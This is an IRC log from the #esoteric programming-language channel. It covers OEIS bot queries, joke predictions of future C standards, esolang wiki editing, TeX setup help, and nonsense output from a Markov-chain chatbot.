21:57:45 <lambdabot> Largest integer m such that every permutation (p_1, ..., p_n) of (1, ..., n)...
21:57:45 <lambdabot> [1,2,3,6,8,12,15,20,24,30,35,42,48,56,63,72,80,90,99,110,120,132,143,156,168...
21:57:51 <lambdabot> Number of nonnegative solutions to x^2 + y^2 + z^2 <= n.
21:57:52 <lambdabot> [1,4,7,8,11,17,20,20,23,29,35,38,39,45,51,51,54,63,69,72,78,84,87,87,90,99,1...
21:58:32 <fizzie> Deewiant: According to that (A000606), they're going to have to release two C15's.
21:58:48 <Deewiant> Yeah, I think A048955 and A128012 are better.
21:59:04 <lambdabot> Concatenation of a and b, where a is the reduced sum of the digits of n and ...
21:59:04 <lambdabot> [0,11,23,36,41,56,63,71,89,99,11,23,36,41]
21:59:31 <lambdabot> Numbers with digits in nondecreasing order.
21:59:31 <lambdabot> [0,1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17,18,19,22,23,24,25,26,27,28,29,33,3...
22:00:04 <Deewiant> @oeis really should do some appropriate dropWhileing.
22:04:03 <fizzie> Deewiant: Interestingly, if you fit a second-degree polynomial to (1,1990), (2,1999) and (3,2011), not only does it give you the next standard ((4,2026) -> C26) but you can also see that that C standard is how Big Brother is keeping us all under control. (See (0,1984).)
22:04:15 <nortti> using my system it would be 1990->1999->2011->2026->2044->2065->2089
22:04:41 <Deewiant> fizzie: That's nortti's system again, no? Differences 6, 9, 12, 15.
22:04:54 <fizzie> Yes, it is the same thing.
22:07:15 <elliott> Targets (37): bash-4.2.024-2 chromium-17.0.963.83-1 device-mapper-2.02.95-1 fontsproto-2.1.2-1 intel-dri-8.0.2-1 iproute2-3.2.0-3
22:07:15 <elliott> kbproto-1.0.6-1 lib32-libdrm-2.4.32-1 lib32-libgl-8.0.2-1 lib32-libglapi-8.0.2-1 lib32-mesa-8.0.2-1 lib32-openssl-1.0.1-1
22:07:15 <elliott> libdrm-2.4.32-1 libftdi-0.20-1 libgl-8.0.2-1 libglapi-8.0.2-1 libxaw-1.0.10-1 linux-3.2.12-1 lvm2-2.02.95-1 mercurial-2.1.1-2
22:07:15 <elliott> mesa-8.0.2-1 mpg123-1.13.6-1 neon-0.29.6-4 openssh-5.9p1-8 openssl-1.0.1-1 psmisc-22.16-1 quodlibet-2.4-1 recordproto-1.14.2-1
22:07:18 <elliott> scrnsaverproto-1.2.2-1 vim-7.3.475-1 vim-runtime-7.3.475-1 xcb-proto-1.7.1-1 xextproto-7.2.1-1 xorg-setxkbmap-1.3.0-1
22:07:21 <elliott> xorg-xauth-1.0.7-1 xorg-xkbcomp-1.2.4-1 xorg-xmodmap-1.0.6-1
22:07:27 <elliott> Total Download Size: 93.14 MiB
22:07:27 <elliott> Total Installed Size: 276.41 MiB
22:07:29 <elliott> Net Upgrade Size: -1.15 MiB
22:07:54 <Deewiant> So long since you last MUPGRADED.
22:09:15 <fizzie> octave:1> f = @(x) (81/4)*exp(log(4/3)*x)+1963
22:09:15 <fizzie> @(x) (81 / 4) * exp (log (4 / 3) * x) + 1963
22:09:15 <fizzie> octave:2> f([0 1 2 3 4])
22:09:17 <fizzie> 1983.2 1990.0 1999.0 2011.0 2027.0
22:09:55 <fizzie> After C27, we'll have C48.3 and C76.8.
22:14:23 <oerjan> elliott: YOUR WISH IS MY COMMAND. well, at least once.
22:15:05 <fizzie> octave:10> f = @(x) -(63*sqrt(15))/8*tan(-2*atan(4-sqrt(15))*x)+15857/8; f([1 2 3 4 5 6 7])
22:15:11 <fizzie> 1990.0 1999.0 2011.0 2030.8 2078.2 2539.0 1830.1
22:15:20 <elliott> oerjan: Excellent! Now elect me benevolent dictator for life of the world.
22:15:30 <fizzie> There will be some sort of a singularity event after the sixth C standard in 2539.
22:16:05 <fizzie> Or possibly just a new calendar.
22:16:07 <elliott> fizzie: That nearly-five-centuries delay is a doozy.
22:17:08 <oerjan> <Deewiant> @oeis really should do some appropriate dropWhileing. <-- i'm pretty sure it does? also, even more if you use space instead of commas.
22:17:19 <elliott> oerjan: btw [[LOLCODE]] has the same kind of broken <code>-around-a-pre :P
22:17:54 <elliott> relatedly to oerjan not hating me forever, i'm totally going to look into that W-next-to-interwiki-links tomorrow.
22:18:09 <fizzie> oerjan: I assumed the point was that it'd show the match in the example, instead of just starting from the beginning.
22:18:47 <oerjan> <elliott> oerjan: btw [[LOLCODE]] has the same kind of broken <code>-around-a-pre :P <-- i'm not through the recent changes yet
22:19:13 <fizzie> oerjan: Also based on a very quick test using spaces didn't seem to matter when done via lambdabot. (Via the website, sure.)
22:19:25 <fizzie> That has 1218 matches on the website.
22:19:50 <oerjan> <elliott> oerjan: Excellent! Now elect me benevolent dictator for life of the world. <-- i can still be the evil one, right?
22:19:50 <nortti> @oeis 1990 1999 2011 2026 2044
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22:25:12 <Deewiant> oerjan: What fizzie said re. the point.
22:28:58 * elliott eagerly awaits oerjan's copy-editing of [[Snack]]
22:32:44 <oerjan> waiting with bated breath
22:45:20 <elliott> wow, /// has been the featured language for 5 days already.
22:45:46 <elliott> oerjan: you know, [[Bitwise Cyclic Tag]] has a bunch of preformatted execution traces...
22:46:42 * elliott tableises the instruction reference anyway.
22:48:15 <elliott> actually i can't think of an elegant way to express 1's execution without those direct line-breaks, so I will hold off on that for now.
22:48:48 * elliott does not envy oerjan when he gets to http://esolangs.org/wiki/Bitwise_Cyclic_Tag#Example_2
22:49:33 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
22:49:57 <elliott> actually, I'll wikify that one.
22:52:51 <elliott> oerjan: (btw i'm actually doing it, just to avoid ecs)
22:56:45 <zzo38> Make the list of Haskell Ephemeris ID numbers, including planets, dwarf planets, sun, moon, satellites, asteroids, fixed stars, artificial objects, fictitious objects, etc
22:58:35 <zzo38> elliott: I didn't mean you, I meant an astronomer.
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23:03:25 <HackEgo> Sofox: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
23:03:52 <elliott> note to self: half-finished work on bct table is in ~/tmp/bct. (tables r hard)
23:04:10 <Sofox> Hello elliott, and HackEgo.
23:04:59 <zzo38> For the purpose of fictitious objects, an astrologer should work on it too. But some fictitious object are not used much by astronomy or astrology, such as Julian Ecclesiastical Moon, etc
23:05:03 <Sofox> Certainly are friendly here.
23:05:28 <fizzie> elliott: Re "tables r hard", I hear it'd be trivial if you used nonsense query tables instead.
23:05:30 <zzo38> Sofox: Read the wiki and/or logs
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23:07:06 <Sofox> I love esoteric programming languages.
23:07:21 <Sofox> I haven't programmed using one of them yet, but I'd like to try something out in LOLCODE or Brainfuck.
23:07:42 <elliott> We're all friendly here. Apart from all the horrible people. Like me.
23:07:50 <fungot> elliott: i misread that, then, between symbols and functions ( defun and defparameter) while scheme makes no distinction ( define) :)
23:07:53 <oerjan> elliott: i assume you wanted me to
23:08:22 <oerjan> to what i did in the previous line
23:08:34 <elliott> Well, you know, swat anyone and everyone.
23:08:39 <fizzie> oerjan: When in doubt, swat.
23:10:16 -!- nortti has quit (Quit: nuq).
23:10:37 * oerjan swats Sofox as well. I'm sure Phantom_Hoover would want me to, after his last comment. -----###
23:10:59 <oerjan> or wait, that's brainfuck proper, not a derivative.
23:11:34 <fizzie> oerjan: The "L" word might draw some hoover-ire even when it's not about a derivative.
23:12:10 <oerjan> i have also read more of today's logs than is healthy.
23:20:59 <Phantom_Hoover> Sofox, hello, I am friendly until you make a Brainfuck derivative.
23:21:13 <Sofox> Phantom: And then what?
23:27:03 <Sgeo_> monqy, Phantom_Hoover elliott MUFFIN
23:27:11 <elliott> Not a Phantom_Hoover elliott muffin.
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23:43:10 <elliott> coppro: zzo38: that magic set editor thing was written by a haskeller!
23:43:30 <elliott> (Twan van Laarhoven, the author of e.g. lambdabot's reflection stuff)
23:46:47 <zzo38> elliott: I know the person who wrote MSE also wrote programs in Haskell (although MSE itself is written in C++)
23:47:39 <zzo38> (However he had no intention to include pure versions of MSE's impure functions)
23:49:44 <zzo38> But MSE is full of various problems anyways so I make TeXnicard, which is written in C and does not use floating points at all except for PNG compression (which is lossless anyways, so slightly different computers will still result in the same output, although the actual bytes of the file might differ)
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23:51:26 <pikhq> But... MSE is so bad. So horribly bad.
23:52:14 <zzo38> pikhq: I know... you can write bad codes in any programming language...
23:52:52 <zzo38> pikhq: Do you think TeXnicard is any better than MSE?
23:53:57 <pikhq> zzo38: I've not looked at it immensely, but I'd certainly imagine it is.
23:54:06 <pikhq> At minimum, it's using a vastly better typesetting system.
23:56:15 <elliott> coppro: WHY DIDN'T YOU TELL ME
23:58:28 <zzo38> pikhq: Well, yes, it is a typesetting system based on TeX, so certainly that part would be better. But, I mean, other stuff too, what you would figure out from this. But can someone else improve the documentation for the parts of the program that are already working (which is most of it)?
00:03:19 <olsner> yay, managed to compile the metacircular evaluator in my compiler... it gets far enough to crash becasuse read is not defined, after printing ";;; M-Eval input:"
00:03:43 <olsner> the metacircular evaluator *from SICP
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00:13:19 <oerjan> i take it my BCT chores are indefinitely postponed.
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01:34:20 <zzo38> Is there anything like Tor for telephones?
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02:40:39 <zzo38> Are there any Haskell libraries for typesetting other than my own one?
02:42:22 <oerjan> eek, i've missed an hour!
02:44:41 <Mathnerd314> but a random search shows http://hackage.haskell.org/package/HPDF
02:47:56 <zzo38> Mathnerd314: Mine is dvi-processing, which is not yet posted to Hackage
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02:48:24 <zzo38> It can both read and write DVI files, and it can read TFM files.
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02:50:35 <zzo38> HPDF doesn't even have Applicative instances for anything
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03:14:02 <NSQX> One saying to quote: "A recently-created programming language whose author intends to never make better than programming languages created earlier in either usability, power, things that can be done with it, or simplicity, is probably an esoteric programming language."
03:18:59 <NSQX> elliot: What if MediaWiki could be rewritten in Objective LOLCODE with CGI support?
03:20:04 <oerjan> it's spelled elliott, also there's not a snowball's chance in hell of anyone doing that.
03:22:11 <NSQX> I will always think of MediaWiki rewritten in Objective LOLCODE (run with an interpreter that has CGI extensions) and Nonsense Query List databases.
03:22:23 <Jafet> It's already written in PHP.
03:23:47 <NSQX> I don't mean that, but I will always think of when Ehird translates MediaWiki from PHP and MySQL to Objective LOLCODE and Nonsense Query Lists,
03:24:05 <NSQX> and then use that version of MediaWiki on the Esolang website.
03:25:07 <Jafet> It's already written in PHP.
03:26:26 <NSQX> Bye. Anyway, always remember this saying: "A recently-created programming language whose author intends to never make better than programming languages created earlier in either usability, power, things that can be done with it, or simplicity, is probably an esoteric programming language."
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03:27:36 <Sgeo_> "things that can be done with it"?
03:28:05 <Sgeo_> I assume there's an easily in there, otherwise it's a nonsensical thing to attempt to compare.
03:28:30 <Sgeo_> Well, hmm, not quite... I guess
03:28:41 <Sgeo_> I mean, can't really manipulate hardware with pure PHP, can you?
03:29:03 <Sgeo_> Erm, manipulate hardware arbitrarily. Obviously stuff like memory and network cards is affected.
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03:36:03 <Madoka-Kaname> That definition makes many programming languages not esoteric, when, by all rights, they should be.
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03:36:16 <Madoka-Kaname> Some esoteric languages take their esotericness from being way simpler than any proper language would be.
03:36:19 <Madoka-Kaname> <Madoka-Kaname> That definition makes many programming languages not esoteric, when, by all rights, they should be.
03:36:30 <NSQX> "I mean, can't really manipulate hardware with pure PHP, can you?" - well,
03:36:58 <NSQX> at least PHP has most features that C/C++ has,
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03:38:06 <NSQX> and, unlike in C/C++, PHP doesn't have to be told something like "int i = 0;", it only has to be told something like "$i = 0",
03:38:41 <NSQX> and PHP does not require an int main() function, and the author intends to give PHP a lot of features,
03:38:46 <NSQX> so PHP is not esoteric.
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03:40:17 <Sgeo_> NSQX, if it helps, I was criticising myself criticising a part of your definition
03:40:27 <NSQX> Objective LOLCODE may be almost esoteric because it's paradigms are either as good as, or not as good as, (never better than) PHP which was created earlier.
03:41:16 <zzo38> PHP has "create_function" but that works very stupid, it wastes memory and does not make proper lambda-style function. You can make a closer to lambda-style function by using classes instead, since a callback in PHP is allowed to be an object together with a name of one of its methods.
03:42:15 <zzo38> It is also said PHP has no pointers, it has variable references which work differently. But there is a way to make a reference into a value to use in a bit similar way to pointers (but no pointer arithmetic): $x=array(&$y); make the value of $x to reference $y and now $x[0] dereference it both for read and write.
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06:15:48 <zzo38> Why does JPL HORIZONS stop working if enter key is pushed?
06:23:39 <itidus21> zzo38: speaking of things not working i'd love to know why david eppstein's page on wikipedia crashes firefox on me
06:24:35 <zzo38> itidus21: I don't know
06:25:54 <itidus21> but I am digressing from JPL HORIZONS
06:33:54 <zzo38> The webpage for JPL HORIZONS works but some functions are missing. JPL HORIZONS doesn't work though (unless I am doing something wrong?).
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06:48:43 <zzo38> But as far as I know they don't have rotation of planets and other objects in there, they only have positions.
06:49:55 <zzo38> If someone asked you to use astrology to determine whether or not they should sleep, how would you answer?
07:10:48 <itidus21> zzo38: uh..(i wouldn't really say this) the appropriateness of sleep is a function of the rotation of the earth around it's axis
07:11:13 <itidus21> ^relative to ones location on the earth's surface
07:12:23 <itidus21> added to the time of day the person needs to wake up
07:12:23 <zzo38> itidus21: That is what I did too. I asked for their geographic location and see which house the Sun is at.
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07:14:12 <Taneb> Did you know that Windows 7 can still BSOD?
07:15:02 <itidus21> zzo38: in other words, 1) is it nighttime where you live? 2) do you sleep at night? ... Taneb: Hi Taneb. i am actually somewhat surprised by that.
07:15:33 <zzo38> Taneb: I would have guessed it would, but have never seen such thing. But I did know that ReactOS already has enough code to make a BSOD
07:15:48 <Taneb> It just happened to me while I was browsing the internet
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07:18:00 <Taneb> I should realy configure the WiFi on Ubuntu
07:18:33 <Taneb> And install Haiku for not going online
07:22:35 <Taneb> I think the last time I BSOD'd, I was on a Vista system infested with trojans
07:22:41 <Taneb> Had the lot of them.
07:22:46 <Taneb> Paris, Hector, Aeneas
07:23:57 <fungot> Taneb: fails same here... my brain is as non-functional as the rest of the year
07:24:08 <Taneb> fungot, who's your favourite Trojan?
07:24:09 <fungot> Taneb: true, but apply, being a piece of crap. -g is fine as long as i don't pass *pointers* to local vars defenition, and it transforms into a let block
07:24:17 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
07:24:28 <fungot> Selected style: europarl (European Parliament speeches during approx. 1996-2006)
07:24:39 <Taneb> fungot, what do you think of Paris of Troy?
07:24:42 <fungot> Taneb: question no 13 by mr poignant and all the necessary means for a renewed but deepened commitment to resorting and sustaining the peace accords. the commission agrees with the amendment extending the scope of community powers. respect for the rule of law and in some cases we have authorised, these risks are and proposing the necessary measures to restore the balance, the powers of the commission, conservation measures appl
07:24:59 <Taneb> Right, now to execute my plan!
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07:31:25 <fungot> Selected style: fungot (What I've said myself)
07:31:34 <fungot> itidus21: i just wrote :p ( what was i thinking of something. at the moment. wheee, shiny.'). the solution is to produce the bonds i.e fnord between the karma and our fnord causeway. the scene uses hare coursing as a metaphor and may be fnord to other military genius, indeed, from country, have the fnord so fnord a series of really coy riddles about it and stop the eval loop, stable or otherwise fail ( just annotate the paste i
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07:33:44 <Taneb> Right, now for stage 2
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07:36:40 <Taneb> So, what do people think of Real Fast Nora's Hair Salon 3: Shear Disaster Download?
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07:51:15 <NSQX> esolangs.org/wiki/
07:51:22 <NSQX> https://esolangs.org/wiki/
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07:51:44 <NSQX> No, I mean http://esolangs.org/wiki/
07:52:09 <NSQX> Yes, that is the same thing as http://esolangs.org/wiki/TLWNN
07:52:52 <NSQX> Do you want to know how I changed the page's name to no title?
07:53:31 <zzo38> I know what it is, it is URL-encoded as %C2%AD (so it does actually have a title, you just can't see it)
07:55:51 <NSQX> http://www.mediawiki.org/wiki/Manual:Pywikipediabot http://pastebin.com/YTd5bG5N
07:57:28 <NSQX> The soft hypen was the only character ever discovered (originally at http://uncyclopedia.wikia.com/wiki/%AD ) which MediaWiki accepts in page titles but most web browsers will treat like that character isn't even in the name.
07:59:07 <NSQX> I would want to know why most web browsers treat the soft hyphen like there is no soft hyphen in the text.
07:59:44 <Deewiant> Because that's the whole point.
07:59:49 <Deewiant> https://en.wikipedia.org/wiki/Soft_hyphen
08:04:34 <NSQX> I've now renamed it from a soft hypen (0xAD) to a zero-width character (0x200B)
08:05:37 <NSQX> Do you think every instance of "The Language With No Name" or TLWNN in the text should be replaced with a zero-width character?
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08:57:21 <Taneb> http://www.amazon.com/Noras-Hair-Salon-Shear-Disaster/dp/B004FK5E8E
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08:59:06 <zzo38> I have played some Dungeons & Dragons game in the past week and I recorded it in the computer
09:03:01 <Taneb> I've never actually managed to play D&D
09:04:27 <zzo38> Did you see the recordings?
09:05:51 <zzo38> Do you want to see it? They are using TeX
09:06:40 <Taneb> I am not sure how to render TeX files
09:07:19 <zzo38> Simply start the program "tex" and enter the filename at the ** prompt.
09:07:57 <zzo38> http://zzo38computer.cjb.net/dnd/recording/level20.tex You also need this file http://zzo38computer.cjb.net/dnd/recording/dungeonsrecording.tex
09:09:20 <Taneb> /usr/bin/mktexfmt: 974: /usr/share/texmf/texconfig/tcfmgr: not found
09:09:21 <Taneb> fmtutil: config file `fmtutil.cnf' not found.
09:09:21 <Taneb> I can't find the format file `tex.fmt'!
09:09:42 <zzo38> Taneb: You have failed to install TeX correctly, if you get that message.
09:10:39 <zzo38> And then a DVI file is created. You can then view it on screen using xdvi or dviout or yap or whatever, or you can print it out using dvilj4 (for PCL printers) or another program for your printer.
09:10:57 <Taneb> It doesn't seem to want to work...
09:12:14 <zzo38> What operating system (including version) are you using?
09:13:15 <zzo38> For systems with Debian-based package management, I think you need to install the "texlive" package. (There is also "texlive-binaries" but that is only the binaries, not the format files.)
09:13:43 <Taneb> nortti, don't like upgrading
09:13:49 <Taneb> Things always seem to go wrong for me
09:15:34 <nortti> Taneb: you should update to 12.04 when it gets relased
09:15:53 <Taneb> I'll try to be very careful doing that
09:17:21 <zzo38> (It says the program "tex" is in the "texlive-binaries" package, which is correct, although the program won't run without the format files, which are in a different package.)
09:22:14 <Taneb> I've got it working!
09:24:10 <zzo38> After entering "level20" (without quotes) at the ** prompt, you should get another prompt which is specific to this document and which asks "Select printing level". Select the level of detail you wish and then you will get a .dvi file. To view it on the screen, use the "xdvi" program; to send it to the printer, use "dvilj" or "dvilj4" if you have a PCL printer, and pipe it to "lp" to send the PCL codes to the printer.
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09:28:01 <zzo38> Do you have a printer on your computer? If so, is it compatible with PCL?
09:29:32 <Taneb> I'd rather not print it
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09:29:55 <zzo38> You are not required to print it. I was just asking if you had a printer.
09:30:05 <Taneb> Well, I have a printer
09:30:15 <Taneb> But I don't think I can access it from here?
09:31:15 <fizzie> I have a printer, and it speaks some form of PCL.
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09:33:05 <zzo38> It would be useful to know in case you want to use TeX for anything else. If you have other questions about TeX you can ask me since I know many things about it. Books describing TeX and METAFONT are available in a series called "Computers & Typesetting", in case you are interested (it includes not only documentation but also complete source-codes for TeX, METAFONT, and Computer Modern).
09:34:14 <zzo38> fizzie: I think many laser printers (and some others) support PCL; do you know how common it is and with what different printer models, brands, companies, and type of printer (laser, ink, etc)?
09:37:31 <fizzie> I think some form of PCL is quite common when it comes to "cheap" laser printers. ("Expensive" ones tend to do postscript, and inkjets seem to tend to use their own custom things.) But that's just my hunch, and based on the situation few years back; I haven't done any survey about it or anything.
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09:38:12 <Taneb> I've got an inkjet
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09:39:38 <fizzie> Some of them probably do PCL too.
09:39:45 <zzo38> There are printers that support both PCL and PostScript, although I do not know how common they are (although PJL would be needed to configure them and to switch between them).
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10:12:39 <Taneb> I may work on Salesman for a bit
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11:16:41 <elliott> Sheesh, where are you people when I need you.
11:17:30 <Phantom__Hoover> OK Steam is starting to annoy me; two days after I pirate Deus Ex, it offers the entire series for free.
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13:02:58 <Phantom__Hoover> Steam binds the screenshot key to the same one Deus Ex uses for the torch.
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13:34:12 <elliott> <Elemir> Guys, what haskell CMS is more useful?
13:34:12 <elliott> * Elemir knows happstack and yesod
13:34:15 <elliott> <elliott> Elemir: web framework =/= cms
13:34:19 <elliott> <Elemir> elliott: aaaand? Happstack or yesod not only web framework
13:34:22 <elliott> <Elemir> This frameworks are CMS too, so good sample
13:34:25 <elliott> <elliott> Elemir: happstack and yesod are not CMSes
13:34:30 <elliott> <Elemir> Really CMS just provide XML interface for programming
13:34:36 <elliott> <Elemir> For example at yesod I can write pages, scriptes and css-shit at pure haskell
13:34:37 <elliott> <Elemir> *at pure template haskell
13:42:17 <elliott> apparently since you can write a blog in few SLOC with Yesod, it's a CMS
13:49:17 <elliott> on why Yesod is marketed as a web framework despite obviously being a CMS: * Elemir thinks that author may have some term phobies, it's a normal
13:55:37 <olsner> I think someone has a normal
14:08:26 <elliott> Deewiant: Unicode expert ping.
14:58:54 <elliott> * ais523 :No such nick/channel
14:58:54 <elliott> * [ais523] End of WHOIS list.
14:59:00 <elliott> /whois elliott when he wasn't in #esoteric
14:59:05 <elliott> * [elliott] (~elliott@unaffiliated/elliott): Elliott Hird
15:23:28 <elliott> Deewiant: You like UNICODE MYSTERIES, right?
15:24:03 <elliott> Deewiant: What's the difference between the "TLWNN" in these two lines from http://esolangs.org/wiki/Special:RecentChanges:
15:24:05 <elliott> (Deletion log); 12:31 . . Ehird (Talk | contribs | block) deleted "TLWNN" (content was: "#REDIRECT ")
15:24:06 <elliott> (diff | hist) . . m TLWNN; 11:54 . . (-121) . . Ehird (Talk | contribs | block) (restore incorrect title hatnote)
15:24:16 <elliott> I've wgetted it and looked at it in vi, and they both look identical.
15:24:20 <elliott> But one of them has a redirect, and the other doesn't.
15:24:24 <elliott> I also looked at it in emacs, nothin'.
15:24:53 <Deewiant> http://esolangs.org/wiki/TLWNN
15:24:54 <Deewiant> http://esolangs.org/wiki/%E2%80%8BTLWNN
15:24:57 <elliott> Also, when the latter one existed (and contained the article) and the first one didn't, searching for "TLWNN" would produce "This doesn't exist lol why not create [[TLWNN]]" and clicking that link would go to the article so ?????
15:25:14 <elliott> Deewiant: Annoying that my browser doesn't distinguish the two in the URL bar at all
15:26:57 <elliott> Deewiant: Welp, my position that using freaky Unicode characters in titles for the sake of a cheap joke is terrible is strengthened some more.
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16:49:27 <Taneb> Making a Real Fast Nora's Hair Salon 3: Shear Disaster Download implementation
16:51:57 <Taneb> It contains an implementation of Lambda Calculus
16:52:05 <Taneb> Using Uniques as the variables
16:52:08 <Taneb> Because I am on FIRE
16:55:35 * Sgeo_ uses a fire extinguisher on Taneb
16:56:05 <Sgeo_> It's a metaphorical fire extinguisher. I have no idea what it's a metaphor for.
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16:56:39 <Taneb> My restoration of sanity?
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17:29:33 <lambdabot> ais523: You have 2 new messages. '/msg lambdabot @messages' to read them.
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17:50:05 <lambdabot> elliott said 1d 5h 16m 49s ago: http://lambda-the-ultimate.org/node/4471
17:50:05 <lambdabot> elliott said 1d 2h 57m 15s ago: Stop appearing where I least expect you!
17:50:52 <elliott> those two messages are completely unrelated :)
17:51:14 <ais523> oh, and CBPV is a vaguely misleading name in that sense; stack semantics are not the only semantics that exist for it, although its stack semantics are kind-of neat
17:51:44 <elliott> hmm, in what sense? I know the stack semantics thing was discussed in the comments
17:52:18 <elliott> the second one was about you being mentioned in http://en.wikipedia.org/wiki/Wikipedia_talk:Criteria_for_speedy_deletion#The_History_of_G7, which I was reading for... god knows what reason
17:55:11 <kmc> elliott, is that from #haskell?
17:55:19 <kmc> the discussion of CMSes
17:56:26 <ais523> elliott: fwiw, that restriction on G7 was originally there to stop someone who was annoyed with the project to go round speedying everything they'd ever contributed
17:57:21 <ais523> bleh, so what's the DRV that thing was talking about?
17:58:14 <ais523> fun fact: I wasn't an admin when I made that unilateral change to G7
17:59:01 <elliott> ais523: 03:33, 6 March 2012 (diff | hist) . . (+11,755) . . Wikipedia talk:Criteria for speedy deletion (→The History of G7: new section)
17:59:01 <elliott> 03:23, 6 March 2012 (diff | hist) . . (+1,474) . . Wikipedia:Deletion review/Log/2012 March 2 (Endorse, comment)
17:59:01 <elliott> 02:22, 2 March 2012 (diff | hist) . . (+2,135) . . Wikipedia:Deletion review/Log/2012 February 14 (→User:Bittergrey/CAMH_Promotion: overturn)
18:00:26 <elliott> ais523: ah, it might be http://en.wikipedia.org/w/index.php?title=Wikipedia:Deletion_review/Log/2012_February_28&diff=prev&oldid=479475708
18:00:37 <ais523> it's feb 14, salvador tercero
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18:14:51 <elliott> kmc: currently in #haskell we are learning that FRP behaviors should be (a -> a) instead of (Time -> a)
18:15:02 <elliott> because that means you no longer have behaviours that "relate to both events and time in themselves" which is incorrect
18:15:20 <elliott> (i felt like making you suffer as much as i am)
18:16:01 * Sgeo_ whats at a -> a being behaviors
18:17:14 <elliott> Mathnerd314: that's probably just TimeDictionary -> a, more or less
18:22:12 <kmc> (FunctionLike f) => f
18:23:05 <Mathnerd314> I think the universal quantification gets you something though
18:24:41 <kmc> gets you coolness points
18:25:06 <elliott> Mathnerd314: well, no, not if you can rewrite it in the dictionary form, because it'll be literally equivalent
18:25:14 <elliott> however nobody seems to know what Timelike should actually contain, so...
18:25:22 <kmc> after all the point of haskell is typeclasses and monads so let's have as much of those as possible
18:25:44 <elliott> <timthelion> elliott: except we have no variable time. It doesn't matter WHEN, but in which order!
18:26:00 <elliott> he's REVOLUTIONISED frp, all it took was the reading of the original paper
18:27:26 <elliott> yelling at people on irc is easier
18:29:18 <elliott> maybe i'll yell at fungot instead
18:29:19 <fungot> elliott: and that is? you've had it for some time i added a new page and sends it to emacs, i suggest, vote). you need to install in /usr/ lib " 1.ss" " srfi". is this a cognate of the spanish fnord fnord?
18:29:53 <fizzie> You'll make fungot feel bad. :/
18:29:53 <fungot> fizzie:, so i'd be happy to help an fnord archive). fnord :) fnord would it be it by now. try. i've often amused myself that way. consider this platform i am aware, commissioner, that there are no gentiles in the garden, examining the fastenings of the drawing-room window, washing and the summoning of the small piece of source code anywhere there's whitespace is ignored and made my own, freed. in c, it's dlopen(). if it's compu
18:30:30 <fungot> elliott:. i'm so kind, even to assholes! anmaster no not markov anmaster no not markov
18:30:35 <elliott> why did it ignore me the first time ;_;
18:30:58 <fungot> Mathnerd314: ( ( ( a()**)a*:a*)(a()**)a*:a*)((x1)(x2)(x3)) ...out of time! don't let that binds the variables, you probably want is broken" archives. even less chance. i called " o" in " the other side has that as their whole fnord range of the ' ' ' delete a value of type " airbus is a big fan of avril....but this song " there
18:31:11 <elliott> airbus is a big fan of avril
18:31:11 <fizzie> elliott: It ignored you because your message was RAW >>> :fizzie!fis@un��fZ�iytzd/}b{v�e�n��VMSd #esoteric :You'll m:elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :sorry fungot ilu <<<
18:31:12 <fungot> fizzie: i, myself, will bring an end to all. ghosts lurk in the ruins were in truth, and everything in readiness for fnord. under these, too.)
18:31:22 <elliott> fizzie: I'll try to avoid turning into a corrupted you in future.
18:31:42 <ais523> what's with all the control characters in the part of the message that the user /doesn't/ have control over?
18:32:08 <ais523> in fungot or in the ircd?
18:32:08 <fungot> ais523: so, let's say i call them mindless games. if we hit every stupid person, any person going to the theater
18:32:15 <fungot> fizzie: that is just a value of type " airbus is a big fan of avril....but this song " there is, that's what sorts of startup?
18:32:28 <ais523> hmm, that fungot reply to me, I guess is mostly verbatim
18:32:28 <fungot> ais523: " and this is a new game. there is no new-line in morse code ( the way databases do it), but... it's x-treme!
18:32:35 <ais523> perhaps made from two or three quotes
18:32:51 <fizzie> ais523: It seems to happen when the generated sentence is very long; presumably it corrupts the message buffer. Though they should be mostly on separate lines, so I don't know how.
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18:37:29 <fizzie> ais523: As for the comment, I can't really find its sources. I found a previous generated message that said "yeah i call them mindless games because i don't", but that's about it. Might be due to the preprocessing that has made the sources not match my greps.
18:37:52 <ais523> Madoka-Kaname: that contains no output instructions
18:37:58 <ais523> so I'm not sure what you were expecting
18:38:04 <Madoka-Kaname> <fungot> Mathnerd314: ( ( ( a()**)a*:a*)(a()**)a*:a*)((x1)(x2)(x3)) ...out of time! don't let that binds the variables, you probably want is broken" archives. even less chance. i called " o" in " the other side has that as their whole fnord range of the ' ' ' delete a value of type " airbus is a big fan of avril....but this song " there
18:38:04 <fungot> Madoka-Kaname: if it's ( syntactically) long debate with a few more things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some things we can deploy but some thi
18:38:06 <ais523> also, it just pushes one thing onto the stack
18:38:06 <fizzie> I should maybe have a "no output" message just in case.
18:38:23 <fungot> Madoka-Kaname: make it pink"." atom) in the room is rarely use s-exps... it will use it to buy it
18:38:26 <ais523> oh, fungot said it? it still isn't particularly useful as Underload programs go
18:38:26 <fungot> ais523: if it's ( syntactically) long years. when will it be the reptites, or you silly apes who end up ruling the world? yes, i'd have done something very brave? fnord 06:22, 29, no. 2, 2, 3, 4, 8, 13, 1(::**) ...bad insn!
18:38:27 <fungot> Madoka-Kaname: c has an ignore restarter, restart/ ignore do? the symbols, pairs, procedures, and so am i just being anal here or am i misunderstanding how these were the people skills of a plane to the next place and then the file
18:38:34 <ais523> I mean, even less so than usual
18:38:48 <fizzie> ^rainbow2 most useful Underload program
18:38:48 <fungot> ████████████████████████████████████████████████████████████ ...too much output!
18:38:49 <elliott> <timthelion> elliott: I did understand C. Elliott's paper. I don't think I was wrong at all there. I only think, that it was written in 97 and that the concepts can be expressed much much better... Unfortunatly, the modern stuff, still uses his old vocabulary, which was missguided...
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18:41:51 <kmc> make a -fPIE
18:42:12 <fizzie> A position-independent pie.
18:42:18 <fizzie> You can eat it everywhere.
18:43:01 <kmc> when pizza's on a bagel you can eat pizza anytime!
18:44:24 <itidus21> make a monitor whose aspect ratio is pi
18:46:13 <ais523> itidus21: can't be done exactly, obviously
18:46:17 <ais523> unless you can have fractional pixels somehow
